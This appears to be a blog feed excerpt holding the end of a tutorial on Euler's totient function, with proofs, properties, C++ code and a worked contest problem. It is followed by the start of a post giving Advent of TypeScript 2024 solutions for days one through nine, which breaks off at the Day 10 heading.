<p><img src="https://wikimedia.org/api/rest_v1/media/math/render/svg/f7447918f84f4509322dda0b4aa4384ab8072a93" alt="{isplaystyle {egin{array}{rcl}arphi (n)&amp;=&amp;arphi (p_{1}^{k_{1}})arphi (p_{2}^{k_{2}})dots arphi (p_{r}^{k_{r}})[.1em]&amp;=&amp;p_{1}^{k_{1}}eft(1-{rac {1}{p_{1}}}ight)p_{2}^{k_{2}}eft(1-{rac {1}{p_{2}}}ight)dots p_{r}^{k_{r}}eft(1-{rac {1}{p_{r}}}ight)[.1em]&amp;=&amp;p_{1}^{k_{1}}p_{2}^{k_{2}}dots p_{r}^{k_{r}}eft(1-{rac {1}{p_{1}}}ight)eft(1-{rac {1}{p_{2}}}ight)dots eft(1-{rac {1}{p_{r}}}ight)[.1em]&amp;=&amp;neft(1-{rac {1}{p_{1}}}ight)eft(1-{rac {1}{p_{2}}}ight)dots eft(1-{rac {1}{p_{r}}}ight).nd{array}}}" class="image--center mx-auto" /></p>
<ol start="2">
<li><strong>Proof of Multiplicativity:</strong></li>
</ol>
<p><strong>Lemma</strong>: Let 𝑛1 and 𝑛2 be two coprime integers. A positive integer 𝑥≤𝑛1⋅𝑛2 is coprime to 𝑛1⋅𝑛2 if and only if 𝑔𝑐𝑑(𝑥 𝑚𝑜𝑑 𝑛1,𝑛1) = 1 and 𝑔𝑐𝑑(𝑥 𝑚𝑜𝑑 𝑛2,𝑛2)=1.</p>
<p>We can rephrase this lemma with two statements:</p>
<p>Firstly, for every pair of integers (𝑎1,𝑎2) such that 0≤𝑎1&lt;𝑛1, 0≤𝑎2&lt;𝑛2, 𝑔𝑐𝑑(𝑎1,𝑛1)=1, and 𝑔𝑐𝑑(𝑎2,𝑛2)=1, the integer 𝑥 corresponding to this pair is coprime to 𝑛1⋅𝑛2.</p>
<p>Secondly, for every integer 𝑥 in the interval [1,𝑛1⋅𝑛2] that is coprime to 𝑛1⋅𝑛2, its corresponding pair (𝑎1,𝑎2) has the following property: 𝑔𝑐𝑑(𝑥 𝑚𝑜𝑑 𝑛1,𝑛1)=1 and 𝑔𝑐𝑑(𝑥 𝑚𝑜𝑑 𝑛2,𝑛2)=1.</p>
<p>Now, consider two coprime integers 𝑛1 and 𝑛2. We know that every number 𝑥 in the interval [1,𝑛1⋅𝑛2] that is coprime to 𝑛1⋅𝑛2 has its corresponding pair of integers (𝑎1,𝑎2) such that 𝑎1 is coprime to 𝑛1 and 𝑎2 is coprime to 𝑛2. It also works the other way, every pair of integers (𝑎1,𝑎2) such that 𝑎1 is coprime to 𝑛1 and 𝑎2 is coprime to 𝑛2 has its corresponding integer 𝑥 coprime to 𝑛1⋅𝑛2.</p>
<p>Therefore, the number of positive integers that are not greater than 𝑛1⋅𝑛2 and coprime to it is equal to the number of pairs (𝑎1,𝑎2) where 0≤𝑎1&lt;𝑛1 and 0≤𝑎2&lt;𝑛2 such that 𝑎1 is coprime to 𝑛1 and 𝑎2 is coprime to 𝑛2. The number of such pairs is obviously 𝜙(𝑛1)𝜙(𝑛2) since we can choose 𝑎1 in 𝜙(𝑛1) ways and 𝑎2 in 𝜙(𝑛2) ways. Thus, 𝜙(𝑛1⋅𝑛2)=𝜙(𝑛1)⋅𝜙(𝑛2).</p>
<h3 id="heading-properties-of-euler-totient-function">Properties of Euler Totient Function</h3>
<p>φ(n) the Euler Totient Function is full of impressive properties that qualify it to be a significant tool in number theory and cryptography. In the following section, we elaborate upon its key properties as a starting point of our analysis.</p>
<ol>
<li><p><strong>Prime Number Property:</strong> If p is a prime number, then every integer q such that 1 ≤ 𝑞 &lt; 𝑝 is coprime with p. Therefore, the totient function for a prime number p is: 𝜙 ( 𝑝 ) = 𝑝 − 1. Example For 𝑝 = 7, a prime number, the integers less than 7 are 1, 2, 3, 4, 5, 6. All of these are coprime with 7, so: 𝜙 ( 7 ) = 6.</p>
</li>
<li><p><strong>Multiplicative Property:</strong> The Euler Totient Function also has the property of multiplicative property Since m and n are coprime means they have a GCD of 1 then 𝜙 ( 𝑚 × 𝑛 ) = 𝜙 ( 𝑚 ) <em>𝜙 ( 𝑛 ) For instance we take 𝑚 = 4 and 𝑛 = 9 which are coprimes. We have: Like Euclid, 𝜙 ( 36 ) = 𝜙 ( 4 ) 𝜙 ( 9 ) = 2.6 = 12.</em></p>
</li>
<li><p><strong>Prime Power Property:</strong> Prime Power Property: To compute the above for p^k, the totient function is</p>
<p> <img src="https://wikimedia.org/api/rest_v1/media/math/render/svg/0a123bcd1c5c3214b80f4eeaa5d7f2e3e0700255" alt="{isplaystyle arphi eft(p^{k}ight)=p^{k}-p^{k-1}=p^{k-1}(p-1)=p^{k}eft(1-{frac {1}{p}}ight).}" class="image--center mx-auto" /></p>
<p> The use of this property makes it easy to perform powers of primes. Example For 𝑝 = 3 and 𝑘 = 2, we have: 𝜙(3^2) = 3^2 − 3^(2 − 1) = 9− 3 = 6. Thus, it is possible to identify several values by considering that numbers 1, 2, 4, 5, 7, 8 and 9 have no common factors but 1.</p>
</li>
<li><p><strong>Sum Over Divisors:</strong> Another fascination with the Totient Function is that it has an interesting property of summing to 𝑛 for all divisors 𝑑 of 𝑛: ∑ 𝑑 ∣ 𝑛 𝜙 ( 𝑑 ) = 𝑛. The property finds use in proofs, and solution to problems in number theory. For 𝑛 = 6, the divisors are 1, 2, 3 and 6 For 𝑛 = 8, the divisors are 1, 2, 4, and 8. We calculate: 𝜙 ( 1 ) = 1 , 𝜙 ( 2 ) = 1 , 𝜙 ( 3 ) = 2 , 𝜙 ( 6 ) = 2 . Thus: The sum of 𝜙 ( 1 ), 𝜙 ( 2 ), 𝜙 ( 3 ), 𝜙 ( 6 ) = 1 + 1 + 2 + 2=6.</p>
</li>
</ol>
<h3 id="heading-implementation">Implementation</h3>
<h3 id="heading-naive-approach"><strong>Naive Approach:</strong></h3>
<p>The naive approach involves iterating through all numbers from 1 to n and checking if each is coprime with n. This method is straightforward but inefficient for large n.</p>
<h3 id="heading-efficient-calculation-of-totient-function"><strong>Efficient calculation of Totient function:</strong></h3>
<h3 id="heading-implementation-in-on">Implementation in <em>O(√n):</em></h3>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">phi</span><span class="hljs-params">(<span class="hljs-keyword">int</span> n)</span> </span>{
    <span class="hljs-keyword">int</span> result = n;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">2</span>; i * i &lt;= n; i++) {
        <span class="hljs-keyword">if</span> (n % i == <span class="hljs-number">0</span>) {
            <span class="hljs-keyword">while</span> (n % i == <span class="hljs-number">0</span>)
                n /= i;
            result -= result / i;
        }
    }
    <span class="hljs-keyword">if</span> (n &gt; <span class="hljs-number">1</span>)
        result -= result / n;
    <span class="hljs-keyword">return</span> result;
}
</code></pre>
<h3 id="heading-introduction-to-the-sieve-of-eratosthenes">Introduction to the Sieve of Eratosthenes</h3>
<p>The Sieve of Eratosthenes is a classic algorithm used to find all prime numbers up to a given limit. It works by iteratively marking the multiples of each prime number starting from 2. This method is efficient and runs in 𝑂 ( 𝑛 log ⁡ log ⁡ 𝑛 ).</p>
<pre><code class="lang-cpp"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;iostream&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;vector&gt;</span></span>

<span class="hljs-comment">// Function to find all prime numbers up to n using the Sieve of Eratosthenes</span>
<span class="hljs-function"><span class="hljs-built_in">std</span>::<span class="hljs-built_in">vector</span>&lt;<span class="hljs-keyword">bool</span>&gt; <span class="hljs-title">sieveOfEratosthenes</span><span class="hljs-params">(<span class="hljs-keyword">int</span> n)</span> </span>{
    <span class="hljs-function"><span class="hljs-built_in">std</span>::<span class="hljs-built_in">vector</span>&lt;<span class="hljs-keyword">bool</span>&gt; <span class="hljs-title">isPrime</span><span class="hljs-params">(n + <span class="hljs-number">1</span>, <span class="hljs-literal">true</span>)</span></span>;
    isPrime[<span class="hljs-number">0</span>] = isPrime[<span class="hljs-number">1</span>] = <span class="hljs-literal">false</span>; <span class="hljs-comment">// 0 and 1 are not prime numbers</span>

    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> p = <span class="hljs-number">2</span>; p * p &lt;= n; ++p) {
        <span class="hljs-keyword">if</span> (isPrime[p]) {
            <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = p * p; i &lt;= n; i += p) {
                isPrime[i] = <span class="hljs-literal">false</span>;
            }
        }
    }
    <span class="hljs-keyword">return</span> isPrime;
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
    <span class="hljs-keyword">int</span> n = <span class="hljs-number">30</span>;
    <span class="hljs-built_in">std</span>::<span class="hljs-built_in">vector</span>&lt;<span class="hljs-keyword">bool</span>&gt; primes = sieveOfEratosthenes(n);
    <span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"Prime numbers up to "</span> &lt;&lt; n &lt;&lt; <span class="hljs-string">" are: "</span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">2</span>; i &lt;= n; ++i) {
        <span class="hljs-keyword">if</span> (primes[i]) {
            <span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; i &lt;&lt; <span class="hljs-string">" "</span>;
        }
    }
    <span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-built_in">std</span>::<span class="hljs-built_in">endl</span>;
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<h3 id="heading-adapting-the-sieve-for-the-totient-function">Adapting the Sieve for the Totient Function</h3>
<p><strong>Implementation of Euler’s Totient Function from 1 to n.</strong></p>
<p>To calculate totient of all the numbers between 1 and n, we can use the same idea as Seive of Eratosthenes and the complexity is <em>O(nloglogn).</em></p>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">phi_1_n</span><span class="hljs-params">(<span class="hljs-keyword">int</span> n)</span></span>{
    <span class="hljs-function"><span class="hljs-built_in">vector</span>&lt;<span class="hljs-keyword">int</span>&gt; <span class="hljs-title">phi</span><span class="hljs-params">(n+<span class="hljs-number">1</span>)</span></span>;
    <span class="hljs-keyword">for</span>(<span class="hljs-keyword">int</span> i=<span class="hljs-number">0</span>; i&lt;=n; i++){
        phi[i]=i;
    }
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">2</span>; i &lt;= n; i++) {
        <span class="hljs-keyword">if</span> (phi[i] == i) {
            <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> j = i; j &lt;= n; j += i)
                phi[j] -= phi[j] / i;
        }
    }
}
</code></pre>
<p>We can also find totient from 1 to n using the divisor sum property. This implementation uses Seive of Eratosthenes, but has more complexity: <em>O(nlogn)</em></p>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">phi_1_n</span><span class="hljs-params">(<span class="hljs-keyword">int</span> n)</span> </span>{
    <span class="hljs-function"><span class="hljs-built_in">vector</span>&lt;<span class="hljs-keyword">int</span>&gt; <span class="hljs-title">phi</span><span class="hljs-params">(n + <span class="hljs-number">1</span>)</span></span>;
    phi[<span class="hljs-number">0</span>] = <span class="hljs-number">0</span>;
    phi[<span class="hljs-number">1</span>] = <span class="hljs-number">1</span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">2</span>; i &lt;= n; i++)
        phi[i] = i - <span class="hljs-number">1</span>;

    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">2</span>; i &lt;= n; i++)
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> j = <span class="hljs-number">2</span> * i; j &lt;= n; j += i)
              phi[j] -= phi[i];
}
</code></pre>
<h3 id="heading-applications">Applications</h3>
<ol>
<li><p><strong>Applications in Cryptography:</strong> The Euler Totient Function is crucial in RSA encryption, a widely used public-key cryptosystem. RSA's security relies on the difficulty of factoring large numbers and the properties of the Euler Totient Function. Specifically, it is used in the key generation process to ensure that the encryption and decryption keys are valid.</p>
</li>
<li><p><strong>Application in Number Theory:</strong> The function is used in various proofs and theorems, including Euler's theorem, which states that for any integer a and n that are coprime, a^φ(n) ≡ 1 (mod n). This theorem is a generalization of Fermat's Little Theorem.</p>
<p> Euler's theorem and Euler's totient function occur quite often in practical applications, for example both are used to compute the modular multiplicative inverse.</p>
</li>
</ol>
<h3 id="heading-example-problem">Example Problem</h3>
<p><strong>Problem Statement:</strong></p>
<p>Prime(n) is defined as number of primes less than equal to n.</p>
<p>Totient(n) is defined as the number of positive integers less than or equal to n that are relatively prime to n.</p>
<p>F(n) = Prime(n) – Totient(n)</p>
<p>and we don’t like negative values, so if F(n) &lt; 0, consider it as 0.</p>
<p>G(n) = Totient(n) ^ (Factorial (F(n)))</p>
<p>You are given a number n. You have to output G(n) % 10^9+7.</p>
<p>**Input:**First line consists of T, the number of test cases. Each of the next T lines contains one integer n.</p>
<p>**Output:**Output T lines each line containing the value of function G(n) % 10^9+7</p>
<p><strong>Constraints:</strong> 1&lt;=T&lt;=100, 1&lt;=n&lt;=10000000</p>
<p><strong>Solution:</strong></p>
<pre><code class="lang-cpp"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;bits/stdc++.h&gt;</span></span>
<span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> <span class="hljs-built_in">std</span>;

<span class="hljs-keyword">const</span> <span class="hljs-keyword">int</span> MOD = <span class="hljs-number">1e9</span> + <span class="hljs-number">7</span>;
<span class="hljs-keyword">const</span> <span class="hljs-keyword">int</span> MAXN = <span class="hljs-number">10000000</span>;

<span class="hljs-function"><span class="hljs-built_in">vector</span>&lt;<span class="hljs-keyword">bool</span>&gt; <span class="hljs-title">isPrime</span><span class="hljs-params">(MAXN + <span class="hljs-number">1</span>, <span class="hljs-literal">true</span>)</span></span>;
<span class="hljs-function"><span class="hljs-built_in">vector</span>&lt;<span class="hljs-keyword">int</span>&gt; <span class="hljs-title">primeCount</span><span class="hljs-params">(MAXN + <span class="hljs-number">1</span>, <span class="hljs-number">0</span>)</span></span>;
<span class="hljs-function"><span class="hljs-built_in">vector</span>&lt;<span class="hljs-keyword">int</span>&gt; <span class="hljs-title">phi</span><span class="hljs-params">(MAXN + <span class="hljs-number">1</span>, <span class="hljs-number">0</span>)</span></span>;
<span class="hljs-function"><span class="hljs-built_in">vector</span>&lt;<span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span>&gt; <span class="hljs-title">factorial</span><span class="hljs-params">(MAXN + <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)</span></span>;

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">sieve</span><span class="hljs-params">(<span class="hljs-keyword">int</span> n)</span> </span>{
    isPrime[<span class="hljs-number">0</span>] = isPrime[<span class="hljs-number">1</span>] = <span class="hljs-literal">false</span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">2</span>; i &lt;= n; i++) {
        <span class="hljs-keyword">if</span> (isPrime[i]) {
            <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> j = i * <span class="hljs-number">2</span>; j &lt;= n; j += i) {
                isPrime[j] = <span class="hljs-literal">false</span>;
            }
        }
    }
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">1</span>; i &lt;= n; i++) {
        primeCount[i] = primeCount[i - <span class="hljs-number">1</span>] + isPrime[i];
    }
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">phi_1_to_n</span><span class="hljs-params">(<span class="hljs-keyword">int</span> n)</span> </span>{
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">1</span>; i &lt;= n; i++) {
        phi[i] = i;
    }
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">2</span>; i &lt;= n; i++) {
        <span class="hljs-keyword">if</span> (phi[i] == i) {
            <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> j = i; j &lt;= n; j += i) {
                phi[j] -= phi[j] / i;
            }
        }
    }
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">compute_factorials</span><span class="hljs-params">(<span class="hljs-keyword">int</span> n)</span> </span>{
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">2</span>; i &lt;= n; i++) {
        factorial[i] = (factorial[i - <span class="hljs-number">1</span>] * i) % MOD;
    }
}

<span class="hljs-function"><span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span> <span class="hljs-title">mod_exp</span><span class="hljs-params">(<span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span> base, <span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span> <span class="hljs-built_in">exp</span>, <span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span> mod)</span> </span>{
    <span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span> result = <span class="hljs-number">1</span>;
    <span class="hljs-keyword">while</span> (<span class="hljs-built_in">exp</span> &gt; <span class="hljs-number">0</span>) {
        <span class="hljs-keyword">if</span> (<span class="hljs-built_in">exp</span> % <span class="hljs-number">2</span> == <span class="hljs-number">1</span>) {
            result = (result * base) % mod;
        }
        base = (base * base) % mod;
        <span class="hljs-built_in">exp</span> /= <span class="hljs-number">2</span>;
    }
    <span class="hljs-keyword">return</span> result;
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
    sieve(MAXN);
    phi_1_to_n(MAXN);
    compute_factorials(MAXN);

    <span class="hljs-keyword">int</span> T;
    <span class="hljs-built_in">cin</span> &gt;&gt; T;
    <span class="hljs-keyword">while</span> (T--) {
        <span class="hljs-keyword">int</span> n;
        <span class="hljs-built_in">cin</span> &gt;&gt; n;

        <span class="hljs-keyword">int</span> prime_n = primeCount[n];
        <span class="hljs-keyword">int</span> totient_n = phi[n];
        <span class="hljs-keyword">int</span> F_n = max(<span class="hljs-number">0</span>, prime_n - totient_n);
        <span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span> G_n = mod_exp(totient_n, factorial[F_n], MOD);

        <span class="hljs-built_in">cout</span> &lt;&lt; G_n &lt;&lt; <span class="hljs-built_in">endl</span>;
    }

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Learning TypeScipt | Advent of TS '24]]></title><description><![CDATA[I love the concept of Advent Calendars, and I am glad there is one for TypeScript, too! 🎄
I first learned about TypeScript in 2022, and since then, TypeScript has become the first dependency I add to any Node or JavaScript project I work on. The dev...]]></description><link>https://blogs.copsiitbhu.co.in/learning-typescipt-advent-of-ts-24</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/learning-typescipt-advent-of-ts-24</guid><category><![CDATA[TypeScript]]></category><category><![CDATA[advent-calendar]]></category><category><![CDATA[solutions]]></category><dc:creator><![CDATA[Eshaan Aggarwal]]></dc:creator><pubDate>Wed, 18 Dec 2024 06:30:32 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1734467569224/b2942633-748e-4983-98c2-5c6f65e51efe.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I love the concept of Advent Calendars, and I am glad there is one for TypeScript, too! 🎄</p>
<p>I first learned about TypeScript in 2022, and since then, TypeScript has become the first dependency I add to any Node or JavaScript project I work on. The developer experience and the tooling associated with the TS ecosystem are too good to pass on, especially as your project scales in size.</p>
<p><a target="_blank" href="https://adventofts.com/">The Advent of TypeScript</a> is a yearly event in December, during which a new TypeScript concept is introduced each day. I decided to participate in the same this year, and I will document what I have learned here.</p>
<p>You probably should have "some" idea of TypeScript to follow along, but even if you don't, that’s fine. The whole point of events like Advent of TypeScript is to learn something new, and I would encourage you to participate! The blog has no rigid structure and would alternate between briefly discussing the concepts involved in solving the day's problem and sharing resources to read about them and the solution itself! All the solutions would be wrapped in a collapsible, so you can try solving the problem yourself before looking at the solution!</p>
<p>Let me know if the blog was helpful to you and if you would like me to continue with it in the future!</p>
<p>PS. Try solving the problems yourself before looking for solutions. It is a great way to learn that will not only teach TypeScript but also teach you to read and debug TypeScript code, making you a better problem solver and developer! 🚀</p>
<hr />
<h2 id="heading-day-1httpswwwadventoftscomevents20241"><a target="_blank" href="https://www.adventofts.com/events/2024/1">Day 1</a></h2>
<p>To define a type in typescript, you use the <code>type</code> keyword followed by the name of the type and its definition. There are many primitive types associated with TypeScript, such as <code>number</code>, <code>string</code>, <code>boolean</code>, <code>null</code>, <code>undefined</code>, <code>symbol</code>, and <code>object</code>. You can also define custom types using the <code>type</code> keyword.</p>
<h3 id="heading-solution">Solution</h3>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Demand = <span class="hljs-built_in">number</span>;
</code></pre>
<hr />
<h2 id="heading-day-2httpswwwadventoftscomevents20242"><a target="_blank" href="https://www.adventofts.com/events/2024/2">Day 2</a></h2>
<p>The types are not limited to "type"s; you can use numbers, strings, and constants (declared with <code>const</code>) as types. This is useful when you want to limit a variable's values.</p>
<h3 id="heading-solution-1">Solution</h3>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Demand = <span class="hljs-number">900000</span>;
</code></pre>
<hr />
<h2 id="heading-day-3httpswwwadventoftscomevents20243"><a target="_blank" href="https://www.adventofts.com/events/2024/3">Day 3</a></h2>
<p>TypeScript can be used to annotate functions as well. You can define the types of arguments that a function takes and the type of the function's return value. This is a major advantage of TypeScript over JavaScript, as it allows you to catch type errors at compile time and helps ensure that all the expected values are passed to the function.</p>
<h3 id="heading-solution-2">Solution</h3>
<pre><code class="lang-typescript"><span class="hljs-keyword">const</span> survivalRatio = <span class="hljs-function">(<span class="hljs-params">input: <span class="hljs-built_in">number</span></span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> data = annualData[input];
  <span class="hljs-keyword">if</span> (!data) {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">"Data not found"</span>);
  }
  <span class="hljs-keyword">return</span> data.housingIndex / data.minimumWage;
};
</code></pre>
<hr />
<h2 id="heading-day-4httpswwwadventoftscomevents20244"><a target="_blank" href="https://www.adventofts.com/events/2024/4">Day 4</a></h2>
<p>You can use the concept of <a target="_blank" href="https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#union-types">type unions</a> to define a type that can take multiple values. Think of the same as an <code>OR</code> operation, where the type can be either of the types defined in the union.</p>
<p>The <code>typeof</code> operator can be used to determine the type of a variable at runtime. This is useful when performing different operations based on the variable type.</p>
<p>When using type unions, you can use conditionals to narrow the type associated with the provided variable. TypeScript is smart enough to understand that if a variable is checked for a particular type, it must be of that type in the subsequent code blocks.</p>
<h3 id="heading-solution-3">Solution</h3>
<pre><code class="lang-typescript"><span class="hljs-keyword">const</span> survivalRatio = <span class="hljs-function">(<span class="hljs-params">input: <span class="hljs-built_in">number</span> | <span class="hljs-built_in">string</span></span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> quarter = <span class="hljs-keyword">typeof</span> input === <span class="hljs-string">"string"</span> ? input : <span class="hljs-string">`<span class="hljs-subst">${input}</span> Q1`</span>;
  <span class="hljs-keyword">const</span> data = quarterlyData[quarter];
  <span class="hljs-keyword">if</span> (!data) {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">"Data not found"</span>);
  }
  <span class="hljs-keyword">return</span> data.housingIndex / data.minimumWage;
};
</code></pre>
<hr />
<h2 id="heading-day-5httpswwwadventoftscomevents20245"><a target="_blank" href="https://www.adventofts.com/events/2024/5">Day 5</a></h2>
<p><a target="_blank" href="https://www.typescriptlang.org/docs/handbook/2/generics.html">Generics</a> are a powerful feature of TypeScript that allows you to define a type that can take multiple types as arguments. This is useful when writing a function or a class that can work with different data types.</p>
<p>Generics are defined using the <code>&lt;&gt;</code> syntax, followed by the type parameter's name. You can then use this type parameter as a placeholder for the actual type that will be passed to the function or class. This allows you to write more flexible and reusable code, as you can define the type of data that the function or class will work with when you call it.</p>
<p>Generics can be thought of as variables for types. They allow you to write functions, classes, and interfaces that can work with any data without specifying the type explicitly until you consume the function or class. They can be a bit tiresome to understand at first, but once you get the hang of them, they can be a powerful tool in your TypeScript arsenal.</p>
<h3 id="heading-solution-4">Solution</h3>
<pre><code class="lang-typescript"><span class="hljs-keyword">const</span> createRoute = &lt;T&gt;(author: <span class="hljs-built_in">string</span>, route: T): <span class="hljs-function"><span class="hljs-params">T</span> =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`[createRoute] route created by <span class="hljs-subst">${author}</span> at <span class="hljs-subst">${<span class="hljs-built_in">Date</span>.now()}</span>`</span>);
  <span class="hljs-keyword">return</span> route;
};
</code></pre>
<hr />
<h2 id="heading-day-6httpswwwadventoftscomevents20246"><a target="_blank" href="https://www.adventofts.com/events/2024/6">Day 6</a></h2>
<p>The <a target="_blank" href="https://www.typescriptlang.org/docs/handbook/2/generics.html#generic-constraints">extends</a> keyword can be used to define constraints on the type parameter of a generic function or class. This allows you to restrict the types that can be passed to the function or class and helps to ensure that the function or class works correctly with the data passed to it.</p>
<h3 id="heading-solution-5">Solution</h3>
<pre><code class="lang-typescript"><span class="hljs-keyword">const</span> createRoute = &lt;Route <span class="hljs-keyword">extends</span> <span class="hljs-built_in">number</span> | <span class="hljs-built_in">string</span>&gt;<span class="hljs-function">(<span class="hljs-params">
  author: <span class="hljs-built_in">string</span>,
  route: Route,
</span>) =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`[createRoute] route created by <span class="hljs-subst">${author}</span> at <span class="hljs-subst">${<span class="hljs-built_in">Date</span>.now()}</span>`</span>);
  <span class="hljs-keyword">return</span> route;
};
</code></pre>
<hr />
<h2 id="heading-day-7httpswwwadventoftscomevents20247"><a target="_blank" href="https://www.adventofts.com/events/2024/7">Day 7</a></h2>
<p>The <a target="_blank" href="https://www.typescriptlang.org/docs/handbook/2/generics.html#generic-constraints">const</a> keyword can define a constant value in TypeScript. This is useful when defining a value that cannot be changed once set. Constants often define values used throughout your code, such as configuration settings or default values.</p>
<p><code>const</code> is particularly useful for narrowing the variable type, as TypeScript can infer the type of a constant based on the value assigned to it.</p>
<h3 id="heading-solution-6">Solution</h3>
<pre><code class="lang-typescript"><span class="hljs-keyword">const</span> createRoute = &lt;<span class="hljs-keyword">const</span> Route <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>[]&gt;<span class="hljs-function">(<span class="hljs-params">
  author: <span class="hljs-built_in">string</span>,
  route: Route,
</span>) =&gt;</span> ({
  author,
  route,
  createdAt: <span class="hljs-built_in">Date</span>.now(),
});
</code></pre>
<hr />
<h2 id="heading-day-8httpswwwadventoftscomevents20248"><a target="_blank" href="https://www.adventofts.com/events/2024/8">Day 8</a></h2>
<p>NodeJS defines <a target="_blank" href="https://nodejs.org/api/globals.html">global variables</a> available in all modules. These variables can be used to access information about the current module, such as the filename, directory name, and module exports, and do not need to be imported.</p>
<p>You can use the concept of TypeScipt <a target="_blank" href="https://www.typescriptlang.org/docs/handbook/2/modules.html">modules</a> and <a target="_blank" href="https://www.typescriptlang.org/docs/handbook/2/namespaces.html">namespaces</a> to organize your code, prevent naming conflicts, and make your code more readable and maintainable. These can also be used to extend the type definitions of third-party libraries and even built-in NodeJS modules.</p>
<p>Today will also be a good day to brush up on the concept of <a target="_blank" href="https://www.typescriptlang.org/docs/handbook/2/objects.html#interfaces">interfaces</a> in TypeScript, which are used to define the shape of an object. Though interfaces and types are similar, interfaces are more commonly used to define the structure of an object. They are "extendable" in nature, making them a better choice when you want to define an object's structure that other users can extend in the future.</p>
<h3 id="heading-solution-7">Solution</h3>
<pre><code class="lang-typescript"><span class="hljs-keyword">declare</span> <span class="hljs-keyword">namespace</span> NodeJS {
  <span class="hljs-keyword">interface</span> ProcessEnv {
    MOOD_LIGHTS: <span class="hljs-string">"true"</span>;
    BATH_TEMPERATURE: <span class="hljs-string">"327.59"</span>;
    STRAWBERRIES: <span class="hljs-string">"chocolate"</span>;
  }
}
</code></pre>
<hr />
<h2 id="heading-day-9httpswwwadventoftscomevents20249"><a target="_blank" href="https://www.adventofts.com/events/2024/9">Day 9</a></h2>
<p><a target="_blank" href="https://www.typescriptlang.org/docs/handbook/2/modules.html">Modules</a> can also define types for NPM packages and external libraries. Using the <a target="_blank" href="https://www.typescriptlang.org/docs/handbook/2/modules.html#export">export</a> keyword allows you to export a type from a module, making it available to others that import it. This is particularly useful if you want to define some internal types in a module that you do not want your module's other modules and consumers to have access to.</p>
<h3 id="heading-solution-8">Solution</h3>
<pre><code class="lang-typescript"><span class="hljs-keyword">declare</span> <span class="hljs-keyword">module</span> "santas-special-list" {
  <span class="hljs-keyword">export</span> <span class="hljs-keyword">type</span> Status = <span class="hljs-string">"naughty"</span> | <span class="hljs-string">"nice"</span>;
  <span class="hljs-keyword">export</span> <span class="hljs-keyword">type</span> Child = {
    name: <span class="hljs-built_in">string</span>;
    status: Status;
  };
  <span class="hljs-keyword">export</span> <span class="hljs-keyword">type</span> List = Child[];
}
</code></pre>
<hr />
<h2 id="heading-day-10httpswwwadventoftscomevents202410"><a target="_blank" href="https://www.adventofts.com/events/2024/10">Day 10</a></h2>
